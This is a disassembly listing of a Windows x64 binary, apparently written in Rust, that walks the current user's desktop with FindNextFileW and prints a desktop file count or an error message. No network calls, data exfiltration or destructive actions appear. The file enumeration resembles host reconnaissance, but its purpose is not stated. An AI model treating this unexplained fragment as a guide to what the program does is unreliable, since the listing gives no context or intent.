mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], rsi
mov qword [rcx + 0x20], rax
mov qword [rbp + 0xd88], rcx
mov byte [rcx + 0x28], 0
test r15, r15
je 0x140006b7f
push 2
pop rdx
mov rcx, rdi
call fcn.140007740
xor esi, esi
mov edi, 0
mov dword [rbp + 0xd6c], 0
cmp qword [rbp + 0xd60], 0
mov rcx, qword [rbp + 0xd80]
je 0x140006c18
push 1
pop rdx
call fcn.140007740
test sil, sil
je 0x140006c18
mov rax, qword [rbp + 0xd88]
mov qword [rbp + 0x420], rax
lea rsi, [rbp + 0x420]
mov qword [rbp + 0x670], rsi
lea rax, str.Unable_to_read_the_users_desktop_file_list:
lea rcx, [rbp + 0x20]
mov qword [rcx], rax
mov qword [rcx + 8], 2
and qword [rcx + 0x20], 0
lea rax, [fcn.14008cf80]
mov qword [rbp + 0x678], rax
mov qword [rcx + 0x10], r12
mov qword [rcx + 0x18], 1
call fcn.14008f970
mov rcx, rsi
call fcn.140001bf1
jmp 0x140006fb4
mov qword [rbp + 0xd48], r13
lea rsi, [rbp + 0x34]
lea rdx, [rbp + 0x670]
mov r8d, 0x254
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r12, qword [rbp + 0xd88]
mov qword [rsi - 0x14], r12
mov rax, qword [rbp + 0xd48]
mov qword [rsi - 0xc], rax
mov eax, dword [rbp + 0xd6c]
mov dword [rsi - 4], eax
movzx eax, word [rsi + 0x2c]
movzx edx, word [rsi + 0x2e]
movzx r8d, word [rsi + 0x30]
lea r9, [rbp + 0x66]
mov word [rbp + 0xd80], ax
cmp ax, 0x2e
sete al
test dx, dx
sete cl
mov dword [rbp + 0xd60], edx
xor edx, 0x2e
mov word [rbp + 0xd5e], r8w
or dx, r8w
sete dl
mov r8, qword [r9 - 0x32]
mov qword [rbp + 0xcf8], r8
or dl, cl
and dl, al
mov byte [rbp + 0xd78], dl
lea r13, [rbp + 0x420]
mov rsi, qword [sym.imp.kernel32.dll_FindNextFileW]
xor r15d, r15d
cmp qword [rbp + 0xd48], 0xffffffffffffffff
je 0x140006f38
not dil
or dil, byte [rbp + 0xd78]
test dil, 1
je 0x140006d9e
mov r8d, 0x250
mov rcx, r13
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [rbp + 0xd48]
mov rdx, r13
call rsi
test eax, eax
je 0x140006e14
cmp word [rbp + 0x44c], 0x2e
jne 0x140006d1f
movzx eax, word [rbp + 0x44e]
test ax, ax
je 0x140006ce5
cmp ax, 0x2e
jne 0x140006d1f
cmp word [rbp + 0x450], 0
je 0x140006ce5
lock inc qword [r12]
jle 0x140007189
mov rdi, qword [rbp + 0x420]
lea rax, [rbp + 0x428]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0xc50], xmm0
movaps xmmword [rbp + 0xc60], xmm1
mov eax, dword [rax + 0x20]
mov dword [rbp + 0xc70], eax
movzx eax, word [rbp + 0x44c]
mov word [rbp + 0xd30], ax
movzx eax, word [rbp + 0x44e]
mov word [rbp + 0xd38], ax
movzx eax, word [rbp + 0x450]
mov word [rbp + 0xd40], ax
mov r8d, 0x21e
lea rcx, [rbp + 0x8d0]
lea rdx, [rbp + 0x452]
call sub.VCRUNTIME140.dll_memcpy
jmp 0x140006e35
lock inc qword [r12]
jle 0x140007189
lea rcx, [rbp + 0x34]
mov eax, dword [rcx + 0x28]
mov dword [rbp + 0xc70], eax
movups xmm0, xmmword [rcx + 8]
movups xmm1, xmmword [rcx + 0x18]
movaps xmmword [rbp + 0xc60], xmm1
movaps xmmword [rbp + 0xc50], xmm0
mov r8d, 0x21e
lea rcx, [rbp + 0x8d0]
lea rdx, [rbp + 0x66]
call sub.VCRUNTIME140.dll_memcpy
mov rdi, qword [rbp + 0xcf8]
movzx eax, word [rbp + 0xd80]
mov word [rbp + 0xd30], ax
mov eax, dword [rbp + 0xd60]
mov word [rbp + 0xd38], ax
movzx eax, word [rbp + 0xd5e]
mov word [rbp + 0xd40], ax
jmp 0x140006e35
mov rdi, qword [sym.imp.kernel32.dll_GetLastError]
call rdi
cmp eax, 0x12
je 0x140006f46
call rdi
mov edi, eax
shl rdi, 0x20
or rdi, 2
xor r12d, r12d
test r12, r12
je 0x140006ea1
mov eax, dword [rbp + 0xc70]
mov dword [rbp + 0xb60], eax
movaps xmm0, xmmword [rbp + 0xc50]
movaps xmm1, xmmword [rbp + 0xc60]
movaps xmmword [rbp + 0xb50], xmm1
movaps xmmword [rbp + 0xb40], xmm0
mov r8d, 0x21e
mov rcx, r13
lea rdx, [rbp + 0x8d0]
call sub.VCRUNTIME140.dll_memcpy
movzx eax, word [rbp + 0xd30]
mov word [rbp + 0xd98], ax
movzx eax, word [rbp + 0xd38]
mov word [rbp + 0xd90], ax
movzx eax, word [rbp + 0xd40]
mov word [rbp + 0xd50], ax
mov qword [rbp + 0x678], r12
mov qword [rbp + 0x680], rdi
mov eax, dword [rbp + 0xb60]
lea rdi, [rbp + 0x670]
mov dword [rdi + 0x38], eax
movaps xmm0, xmmword [rbp + 0xb40]
movaps xmm1, xmmword [rbp + 0xb50]
movups xmmword [rdi + 0x28], xmm1
movups xmmword [rdi + 0x18], xmm0
movzx eax, word [rbp + 0xd98]
mov word [rbp + 0x6ac], ax
movzx eax, word [rbp + 0xd90]
mov word [rbp + 0x6ae], ax
movzx eax, word [rbp + 0xd50]
mov word [rbp + 0x6b0], ax
mov r8d, 0x21e
lea rcx, [rbp + 0x6b2]
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x670], 1
inc r15
mov rcx, rdi
call fcn.140001a6c
xor edi, edi
mov r12, qword [rbp + 0xd88]
jmp 0x140006cb3
mov eax, dword [rbp + 0xd6c]
mov dword [rbp + 0x30], eax
xor r15d, r15d
jmp 0x140006f4a
and dword [rbp + 0x30], 0
lea rsi, [rbp + 0x670]
and qword [rsi], 0
mov rcx, rsi
call fcn.140001a6c
lea rdi, [rbp + 0x20]
mov rcx, qword [rdi + 8]
call qword [sym.imp.kernel32.dll_FindClose]
mov rcx, rdi
call fcn.140001eaa
mov qword [rbp + 0x420], r15
mov qword [rsi], r13
lea rax, str.Users_desktop_file_count:
mov qword [rdi], rax
mov qword [rdi + 8], 2
and qword [rdi + 0x20], 0
lea rax, [fcn.14000a210]
mov qword [rsi + 8], rax
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], 1
lea rcx, [rbp + 0x20]
call fcn.14008f710
mov rcx, qword [rbp + 0xb10]
mov rdx, qword [rbp + 0xb18]
call fcn.140031079
jmp 0x140006095
shl rax, 0x20
mov qword [rbp + 0xd88], rax
test r15, r15
je 0x140006fe7
push 2
pop rdx
mov rcx, rdi
call fcn.140007740
add qword [rbp + 0xd88], 2
cmp qword [rbp + 0xd60], 0
mov rsi, qword [rbp + 0xd80]
jne 0x1400064c1
jmp 0x1400064cc
lea rcx, str.assertion_failed:_self.buf.init___self.buf.filled__n
lea r8, [0x1400ad8a8]
push 0x36
jmp 0x14000581d
mov rsi, qword [rbp + 0x678]
jmp 0x140007071
mov rsi, qword [rbp + 0x8d8]
jmp 0x140007071
lea rcx, str.srcmain.rs
call fcn.1400a8d40
mov al, byte [rbp + 0x671]
lea r8, [rbp + 0x8d0]
mov byte [r8], al
lea rax, str.srcmain.rs
jmp 0x1400070b7
mov rsi, qword [rbp + 0x678]
jmp 0x140007065
mov rsi, qword [rbp + 0x8d8]
lea rcx, [rbp + 0xc50]
call fcn.140001918
lea r8, [rbp + 0x20]
mov qword [r8], rsi
lea rax, str.srcmain.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1400ad948]
jmp 0x1400070ca
lea rcx, str.srcmain.rs
call fcn.1400a8d40
mov al, byte [rbp + 0x671]
lea r8, [rbp + 0x8d0]
mov byte [r8], al
lea rax, str.srcmain.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1400ad968]
push 0x2b
jmp 0x140005ecf
lea rcx, str.internal_error:_entered_unreachable_code
lea r8, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
push 0x28
pop rdx
call fcn.1400a88d0
jmp 0x140007189
lea rcx, str.srcmain.rs
call fcn.1400a8d40
call fcn.140007810
push 1
pop rcx
mov rdx, r15
call fcn.1400a8570
mov byte [rbp + 0xda7], 1
push 1
pop rcx
mov rdx, r15
call fcn.1400a8570
jmp 0x140007189
mov qword [rbp + 0xd98], r13
mov qword [rbp + 0xd70], r15
mov qword [rbp + 0xd90], rdi
push 8
pop rcx
push 0x30
pop rdx
call fcn.1400a8570
jmp 0x140007189
lea r8, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov rcx, r15
call fcn.1400a88c0
jmp 0x140007189
mov rcx, qword [rbp + 0x8d8]
test rcx, rcx
jne 0x14000717d
call fcn.140007810
jmp 0x140007189
mov qword [rbp + 0xd70], r15
mov qword [rbp + 0xd90], rdi
push 8
pop rcx
push 0x30
pop rdx
call fcn.1400a8570
jmp 0x140007189
mov rdx, qword [rbp + 0x8e0]
call fcn.1400a8570
ud2